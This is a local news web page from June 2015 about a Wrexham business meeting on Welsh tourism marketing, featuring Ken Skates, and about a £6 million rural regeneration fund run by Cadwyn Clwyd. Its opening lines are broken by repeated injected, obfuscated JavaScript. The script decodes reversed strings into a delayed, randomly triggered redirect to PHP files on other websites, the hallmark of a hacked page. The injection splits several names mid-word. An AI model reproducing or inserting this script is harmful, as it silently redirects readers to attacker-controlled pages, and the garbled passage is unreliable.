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Let’s copy the magic of Disney in North Wales – but with real castles

Wrexham Business Professionals meeting on the importance of $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tourism, at the Ramada, Wrexham.Guests, Esther Roberts, North Wales Tourism, Manon An$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tonoazzi, Ditrec$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tor, Tourism, Sport and Heritage, Ken Skates AM, Deputy Minster for Culture, Sport and Tourism, Gwyn Edwards and Peter Butler.

Conjuring the same marketing tactics as the magic of Disney could put Wales on the world map as a top tourism destination – with the added bonus of having real castles.

That was the message of Ken Skates, the Deputy Minister for Culture, Sport and Tourism, when he addressed a meeting of an influential group of business leaders in Wrexham.

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Mr Skates, who is also the AM for Clwyd South, was the keynote speaker at a meeting of the Wrexham Business Professionals at the town's Ramada Plaza Hotel.

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The group of is made up of highly skilled professional firms of solicitors and accountants working together to raise the profile of expertise that exists in the region and beyond.

Members at the packed meeting also heard from Manon Antoniazzi, Director of Tourism, Sport and Heritage for the Welsh Government, how Wales is bidding to attract more visitors from countries such as Germany and the USA.

According to Mr Skates, tourism in Wales had just hit a new high, with latest figures showing the country had attracted a record-breaking 10 million visitors in the past year – the best performance since the present recording system was set up in 2006.

It was vital to build on this success story and he suggested Wales could look at the approach used by the Disney global entertainment giant when it came to marketing its top attractions.

He said: “If there’s one company that is superb at selling its ideas and selling its brand it is the Disney Corporation.

“When you visit their theme parks you are presented with very distinct worlds, for instance the Magic Kingdom, Epcot and the Hollywood Studios.

“The image of each of them is as a safe place, a place for fairy tales and place for dreams, and I think we could look at Disney’s marketing principles when we’re thinking about Welsh branding and promoting what Wales does best to the world.

“However, I’m not saying we want to build another Disneyland in Wales because we have real castles of our own.”

Mr Skates outlined the importance of tourism to the whole country and North Wales in particular, which he said was “punching above its weight” on visitor numbers.

In Wrexham alone the industry generates £98.4 million a year and employs more than 1,610 people.

Developing tourism in North East Wales was a priority so that it was not merely an area through which visitors pass on their way to North West Wales. The aim was to persuade visitors to stay in the area longer than at present.

Mr Skates added: “Tourism brings in £8.7 billion a year to Wales and provides 15 per cent of the country’s jobs.

“North Wales is the best performing region, generating £1.5 billion a year and employing 30,000 people. Of all visitors to Wales, 36 per cent come to the north.”

He said it was vital to build on these figures and to persuade people to stop and spend more time in North Wales when they are heading for other areas of the country, such as the North West of England.

While Wales tourism's key growth markets were North West England and the Midlands, Mr Skates said major efforts were being made to market the country’s many attractions much further afield, in the UK and also abroad to places like Germany and the USA.

He explained that Germany was seen as a “crucial market” and that the Visit Wales marketing campaign was currently being rolled out there with the help of major partners in the international tourism industry.

Mr Skates suggested that another important area of tourism growth could be to build on the “incredible” industrial heritage of North Wales.

In the pipeline for the future were plans to take advantage of next year’s centenary of author Roald Dahl, building on the success of last year’s Dylan Thomas centenary which had generated advertising for Wales to the value of £13.5 million in the United States alone.

The Deputy Minister had warm praise for Wrexham Business Professionals, stressing the “incredible work” they do.

He said: “Government can help to facilitate and support economic growth but it’s very much business that creates prosperity and ensures we have good employment.”

Mr Skates added: “My challenge to your members is to come up with ways on how you can work together with the Welsh Government and local authorities to deliver events in North Wales to ensure we can bring in even more visitors.”

The event’s other keynote speaker Manon Antoniazzi, the Welsh Government's Chief Executive Officer of Tourism and Marketing, said it was the aim to grow Wales’s tourism industry by 10 per cent by 2020 and to help do this there was currently a focus on more luxury and heritage hotels and spas around the country.

She said that a new Visit Wales website was up and running there was also now a major presence on social media which had led to half a million followers.

Giving examples of the importance of attracting foreign visitors to Wales, she said that 2013 had seen 93,000 tourists from the United States which had generated £47 million in revenue.

Ms Antoniazzi cited Destination Wrexham as the “perfect example” of partnership working at locally.

Another speaker was on hand to give more details about what the organisation was doing to boost the county’s tourism offer was its manager, Joe Bickerton, an officer with Wrexham Council.

He described how Destination Wrexham had launched a number of initiatives, including its Tourism Ambassadors scheme, in which more 90 local businesses involved with the tourism industry, from restaurants to hotels, had already signed up to promote the benefits of the area.

The fourth speaker at the meeting was Laurel Smith, volunteer and community involvement officer for the National Trust’s Erddig property in Wrexham.

Wrexham Business Professionals chair Peter Butler, of GHP Legal, thanked all the speakers for their fascinating insights.

He said: "Tourism is an important and growing component of the local economy and one that has the potential to put Wrexham on the path to prosperity."

Thursday June 18th, 2015


Rural economy of North East Wales in line for a £6 million cash bonanza

Cadwyn Clwyd

The rural economies of North East Wales are in line for a massive £6 million cash injection over the next five years – and now the search is on for local people to target the money.

The funds will be spent to help regenerate the rural areas of Denbighshire, Flintshire and Wrexham and the final say on where they are spent will be down to volunteers.

They will form Local Action Groups in each county with successful regeneration agency Cadwyn Clwyd administering the scheme which will run until 2020.

The Local Action Groups have won the European cash bonanza from Denbighshire, Flintshire and Wrexham through a detailed bid.

Cadwyn Clwyd has previously distributed over £14 million to the rural economies of Denbighshire and Flintshire since 2000.

They have backed schemes as diverse as setting up a post office in a country pub on Halkyn Mountain, helping farmers on the Clwydian Range Area of Outstanding Natural Beauty market their lamb and developing a hydro-electric power scheme for Corwen.

The new LEADER projects will see the rural area of Wrexham County Borough, mainly the large area south and west of North Wales’s biggest town, receive £2.25 million while Flintshire receives £2.47 million and Denbighshire £1.9 million.

The programme is part of the Wales Rural Development Programme 2014-2020 and is funded through the European Agricultural Fund for Rural Development and the Welsh Government.

Cadwyn Clwyd Manager Lowri Owain said: “What we need now are volunteers from the three rural areas to help identify and target where the money should go.

“There will be separate Local Action Groups for Wrexham, Flintshire and Denbighshire made up of 18 representatives drawn equally from the public, private and community sectors.

“The community sector could include people from rural businesses, trade associations, tourism and environmental organisations and charities and social groups.

“The main qualification will be that they have their finger on the pulse of their area as they will have the vital role of deciding how and where this money is spent.

“We want to enlist the energy and resources of these people in a partnership that will be to the benefit of rural communities and their economies.”

The LEADER programme will have five main themes; local identity and natural and cultural resources, business partnerships and supply chains, local services, renewable energy and digital technology.

The areas have tourism resources such as the Clwydian Range of Outstanding Natural Beauty and the Pontcysyllte World Heritage Site in Wrexham, high quality agricultural produce and artisan food suppliers and major potential for renewable energy.

Cadwyn Clwyd also has a successful track record of encouraging local services such as community shops, helping small businesses set up and encouraging diversity and plans to extend this to the sphere of technology.

David Darlington, from Gyfelia, a founder member of the Wrexham LAG, said: “Wrexham has a large rural area which is very important to the economy of the county and which includes two of the seven wonders of Wales, Gresford Bells and Overton’s Yews as well as the Pontcysyllte Aqueduct.

“A great deal of important regeneration work has been done here through this vital European funding and we’re delighted that we will be able to carry on with this over the coming years.”

Lowri Owain added: “As a company, we’ve been very successful in attracting funding and in helping to get projects realised and we work with a wide range of projects.

“This will be an extension of the successful series of programmes which we have been running in Denbighshire and Flintshire and which now will continue through to 2020.

“Securing this funding is a massive vote of confidence in the work that has been done across all aspects of rural life from tourism, food production and job creation to improving community facilities and encouraging the arts.

“It will mean that the local economy in rural North East Wales will continue to diversity and develop.”

Cadwyn Clwyd has helped secure the future of major local events like the Hamper Llangollen and Mold Food Festival as well as launching the Prince of Wales’s favourite community enterprise, Pub is the Hub in Wales for the first time in Wales before rolling it out across a total of eight local authority areas in Wales.

Other successful initiatives have seen them work with local food producers as well as help launch the Pwllglas Community Shop near Ruthin, winner of a Rural Community Ownership Award for 2014, while their bursaries have given a kickstart to small businesses and young entrepreneurs, first in Flintshire and then in Denbighshire as well.

They are currently helping Corwen set up its own hydro renewable energy project and supporting the community of Trelogan with the asset transfer of the Village Hall.

Other community projects have included working with the people of Saltney to develop their Heritage Trail and Sense of Place project and developing the conservation training project ‘Living Churchyards’ project in both Flintshire and Denbighshire.

For a chance to play a part in the Local Action Groups across Denbighshire, Flintshire and Wrexham County Borough call 01824 705802 or email:"> for an application form.

Wednesday June 3rd, 2015